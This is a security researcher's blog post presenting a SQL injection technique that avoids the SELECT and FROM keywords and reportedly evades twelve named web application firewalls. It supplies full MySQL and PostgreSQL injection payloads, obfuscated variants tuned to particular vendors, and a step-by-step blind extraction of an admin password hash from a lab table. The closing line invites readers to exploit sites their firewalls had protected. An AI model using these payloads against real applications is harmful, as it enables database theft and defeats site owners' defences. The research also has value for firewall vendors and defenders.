Universal WAF Bypass for finding and exploiting SQL injections
Nowadays, many vulnerability scanners don't work because WAFs (Web Application Firewalls) block requests probing for vulnerabilities.

Also, if vulnerabilities are found, WAFs will block requests attempting to exploit such vulnerabilities.
I wanted to find bypasses for all the WAFs being sold in the market (and for the free ones too) so that it would be possible to scan applications for SQL injection vulnerabilities. I also wanted to find bypasses to be able to exploit the injections as well.
After I gathered a large list of websites behind WAFs I proceeded to bypass each one of them. Sometimes websites are behind more than 1 WAF and when you manage to bypass the first WAF, another one is triggered. In an attempt to find a bypass that is able to evade multiple layers of WAFs I wanted to see if it would be possible to craft a universal SQL injection that works across all existing firewalls.
This SQL injection bypass works against all of the following WAFs (and probably more brands too):
- OWASP ModSecurity Core Rule Set
- Amazon Web Services Cloudfront
- Akamai (edgesuite)
- Oracle
- Cloudflare
- Broadcom (Symantec)
- Imperva
- Barracuda
- F5
- Fortinet
- Fortiguard
- Wordfence
One shot, twelve kills.
I stumbled upon 2 WAFs that were able to detect the injection. However, by obfuscating the injection a little bit I managed to bypass those WAFs too. I believe this new technique might be able to bypass any WAF as to this day by obfuscating it and tweaking it out a little bit.
The bypass
In 2023 I tried to bypass OWASP ModSecurity Core Rule Set with no success, honestly I thought that it was going to be impossible to break the Core Rule Set. The reason for this is that one year earlier Intigriti and Yahoo helped OWASP to organize a 3-week bug bounty program for ModSecurity, so it got heavily tested.
One year later I gave it another shot, and with the technique exposed in this talk I was able to find a SQL injection bypass for ModSecurity. With this bypass it is possible to find and exploit sql injection vulnerabilities.
After I found this bypass, I had the hypothesis that by tweaking it out it can be used to bypass every single firewall in the market (and free ones too).
The keywords SELECT and FROM are essential to make queries to tables and views. That is why when WAFs detect these 2 keywords one after the other, the request is blocked right away.
I wanted to see if it was possible to perform queries without having to use SELECT and FROM; this is how the universal WAF bypass became a reality.
This is my little golden nugget, by avoiding the use of SELECT and FROM I was able to bypass even the WAFs that at some point seemed to be impossible to break.
MySQL
After reading the MySQL manual, I found a new instruction that was introduced about 7 years ago: the TABLE instruction.
mysql> TABLE users;
+----+----------------+----------------------------------+------------------------+
| id | user | password | email |
+----+----------------+----------------------------------+------------------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
| 2 | napster | a55a2ac81471922949a48cf45f7fe271 | napster@lab.com |
| 3 | axl-torvalds | d52d3013075fe1078c47236cdc338422 | axl@lab.com |
| 4 | zero-cool | 35188f8ec0079224b1c35266ac715c99 | zero-cool@lab.com |
| 5 | acid-burn | f40a32a42ce18d2fbf83e2685543e940 | acid-burn@lab.com |
| 6 | phreak | ab1cd5ef2a0e1cd8bece87dcb9bc1c1d | phreak@lab.com |
| 7 | cereal-killer | fe6ee6ea072a958bc77c425c48db9b6a | cereal-killer@lab.com |
| 8 | lord-nikon | cd69b4957f06cd818d7bf3d61980e291 | lord-nikon@lab.com |
| 9 | crash-override | 0833dd29368e07bbdcf85ea2707c5dc0 | crash-override@lab.com |
| 10 | neo | 6bed9f1fb7f15e4892df4616fa820dec | neo@lab.com |
+----+----------------+----------------------------------+------------------------+
10 rows in set (0.00 sec)
The TABLE instruction displays an entire table. However, the WHERE clause cannot
be used with this instruction, so it is not possible to filter results by
testing conditions. This might be the reason for why WAFs haven't blacklisted
this instruction, since WHERE cannot be used to test conditions then blind and
boolean based injections cannot be performed.
mysql> TABLE users WHERE id = 1;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE id = 1' at line 1
TABLE also outputs all the columns and it is not possible to filter them so UNION
based injections won't always work because the number of columns must match in
both sides of the UNION instruction.
However, LIMIT and ORDER BY are compatible with the TABLE instruction. Conditions cannot be used with LIMIT:
mysql> TABLE users LIMIT (IF(column_2 LIKE 'A%', 1, 0));
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '(IF(column_2 LIKE 'A%', 1, 0))' at line 1
But it is possible to use conditions within ORDER BY. Doing conditional ORDER BYs produces unexpected and weird results but there is a way to make this work.
First, by using the VALUES instruction it is possible to return a row whose
values are explicitly defined and known by the attacker:
mysql> VALUES ROW(-10, -10, -10, -10);
+----------+----------+----------+----------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------+----------+----------+
| -10 | -10 | -10 | -10 |
+----------+----------+----------+----------+
1 row in set (0.00 sec)
Then UNION is used to add just 1 row of the table desired to be exfiltrated:
mysql> VALUES ROW(-10, -10, -10, -10)
-> UNION (TABLE users LIMIT 1);
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------+----------------------------------+---------------+
| -10 | -10 | -10 | -10 |
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+----------+----------+----------------------------------+---------------+
2 rows in set (0.00 sec)
By placing a condition in ORDER BY, if the first character of the password field
is matched then the table will be sorted, if it doesn't match then the order stays
the same.
mysql> VALUES ROW(-10, -10, -10, -10)
-> UNION (TABLE users LIMIT 1)
-> ORDER BY ( IF(column_2 REGEXP '^A', NULL, column_0));
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------+----------------------------------+---------------+
| -10 | -10 | -10 | -10 |
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+----------+----------+----------------------------------+---------------+
2 rows in set (0.00 sec)
mysql> VALUES ROW(-10, -10, -10, -10)
-> UNION (TABLE users LIMIT 1)
-> ORDER BY ( IF(column_2 REGEXP '^2', NULL, column_0));
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2 | column_3 |
+----------+----------+----------------------------------+---------------+
| 1 | admin | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
| -10 | -10 | -10 | -10 |
+----------+----------+----------------------------------+---------------+
2 rows in set (0.00 sec)
Add LIMIT 1 to return only the top row. If it is equal to (-10, -10, -10, -10)
then you can know if the condition was matched.
/vulnerable_page?sqli=1' and (VALUES ROW(-10, -10, -10, -10) UNION (TABLE users LIMIT 1) ORDER BY IF( column_2 REGEXP '^A', NULL, column_0) LIMIT 1) != (-10, -10, -10, -10) or '0
200 OK - BYPASSED
This injection was able to bypass 12 different WAFs.
It is worth noticing that even though the injection is not obfuscated at all, still the WAFs fail to detect it.
Tweaking the injection
I believe this new type of injection can be used to bypass almost every single WAF it encounters because it avoids using the keywords SELECT and FROM. Even though it fails to be undetected from time to time, by obfuscating it a little bit you might manage to make it work in each specific scenario.
For instance, I tried the injection against Indusface AppTrana which is an AI-powered WAF, and it triggered a 403 FORBIDDEN.
?sqli=1' and (VALUES ROW(-10, -10, -10, -10) UNION (TABLE users LIMIT 1) ORDER BY IF( column_2 REGEXP '^A', NULL, column_0) LIMIT 1) != (-10, -10, -10, -10)or'0
403 FORBIDDEN
After some trial and error of changing different keywords, I noticed that the keyword IF happens to be what is triggering the WAF. So I tried to put some junk after it by means of a single-line comment and it succeeded in bypassing the WAF:
?sqli=1' and (VALUES ROW(-10, -10, -10, -10) UNION (TABLE users LIMIT 1) ORDER BY IF-- hello hello %0a( column_2 REGEXP '^A', NULL, column_0) LIMIT 1) != (-10, -10, -10, -10)or'0
200 OK - BYPASSED
More obfuscation tricks like this one can be found at the SQL injection WAF evasion cheatseeet:
https://nzt-48.org/sql-injection-filter-evasion-cheat-sheet
PostgreSQL
In PostgreSQL, it is not possible to have conditionals within ORDER BY if the query has an UNION clause. I did struggle with this constraint but the solution turned out to be very simple: if you know the number of columns in a table, it is possible to compare an entire row against a set of values. To exfiltrate the first row of the already shown table users, the comparison is made like this:
?sqli=1' and ((1,'a','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'b','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'aa','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ab','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ac','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ad','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ae','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'ada','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adb','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adc','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'adm','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adn','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'adma','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admb','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admc','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admi','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admj','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admia','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admib','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admic','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admin','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','0','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','1','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','2','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','3','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','21','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','22','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','211','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','212','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','213','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','2121','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admin','21232f297a57a5a743894a0e4a801fc3','~') < (table users limit 1))-- -
Since user admin has id = 1 , we use 1 as the first value in the set because id is the first column, then values have to be exfiltrated one character at a time by doing string comparisons with operators < and > . The columns also have to be extracted one by one in sequential order (because of the way row comparison operators work).
The ~ (tilde) is used because it has the highest ASCII value (0x7e), it has to be done like so because the fields of both sets are not compared correspondingly (as illustrated in the MySQL manual https://dev.mysql.com/doc/refman/8.4/en/comparison-
operators.html#operator_less-than)
However this injection will yield a 403:
?id=1' and ((1,'admin','21232f297a57a5a743894a0e4a801fc3','~') < (table users limit 1))-- -
403 FORBIDDEN
The solution is to use dollar-quoted strings, a different approach to delimiting strings:
?id=1' and ((1, $bla$admin$bla$, $bla$21232f297a57a5a743894a0e4a801fc3$bla$,
$bla$~$bla$) < ANY(table users limit 1))-- -
200 OK - BYPASS!
(https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-
DOLLAR-QUOTING)
Notice the ANY keyword before the table query. Adding a word between the < and
the table query bypasses the filter, the ANY keyword makes valid syntax and it
doesn't change the behavior of the query.
This injection meant to be used for exploiting applications that use PostgreSQL works against many WAFs, including ModSecurity which is difficult to bypass.
Tweaking the injection
Some WAFs are able to catch this injection but I believe it is only a matter of obfuscation to make it work against other WAF vendors too. For instance, when I tried this bypass against F5 the rule was triggered but this was easy to solve by avoiding the use of logical operators and using arithmetic operators instead:
?id=1' %2b ((1, $bla$admin$bla$, $bla$21232f297a57a5a743894a0e4a801fc3$bla$,
$bla$~$bla$) < ANY(table users limit 1))::int %2b '0
200 OK - BYPASS!
In this injection, the boolean TRUE or FALSE value that results of the condition is cast to a number with the ::int operator. So if the result is FALSE then a 0 is added to the id parameter causing no changes, but if the result is TRUE then a 1 is added to the parameter and the query will return a different row of the table. So it is possible to replace logical operators (and, or, xor) with arithmetic (+, -, *, /). More tricks like this in the SQL injection WAF evasion cheatsheet: https://nzt-48.org/sql-injection-filter-evasion-cheat-sheet
Scanning
This injection can also be used to scan applications against SQL injection vulnerabilities. Just test a condition in the same fashion:
/vulnerable_page?sqli=1' and (VALUES ROW(-10, -10, -10, -10)) != (-10, -10, -10, -10) or '0
The only WAF vendor that caught this injection was broadcom, but I was able to bypass it by using a > operator instead of the != operator.
With these 2 new types of injections you'll probably be able to scan and exploit all those sites that didn't let you due to their WAF.
You can follow me on socials to be notified of future blog posts:
X: @ruben_v_pina
Mastodon/infosec.exchange: @ruben_v_pina
Linkedin: https://www.linkedin.com/in/ruben-v-pina/
Filed under: Hacking,SQL,Web Application Security - @ 2025-05-19 00:53
Tags: bypass, evasion, filter, firewall, injection, optimization, sqli, waf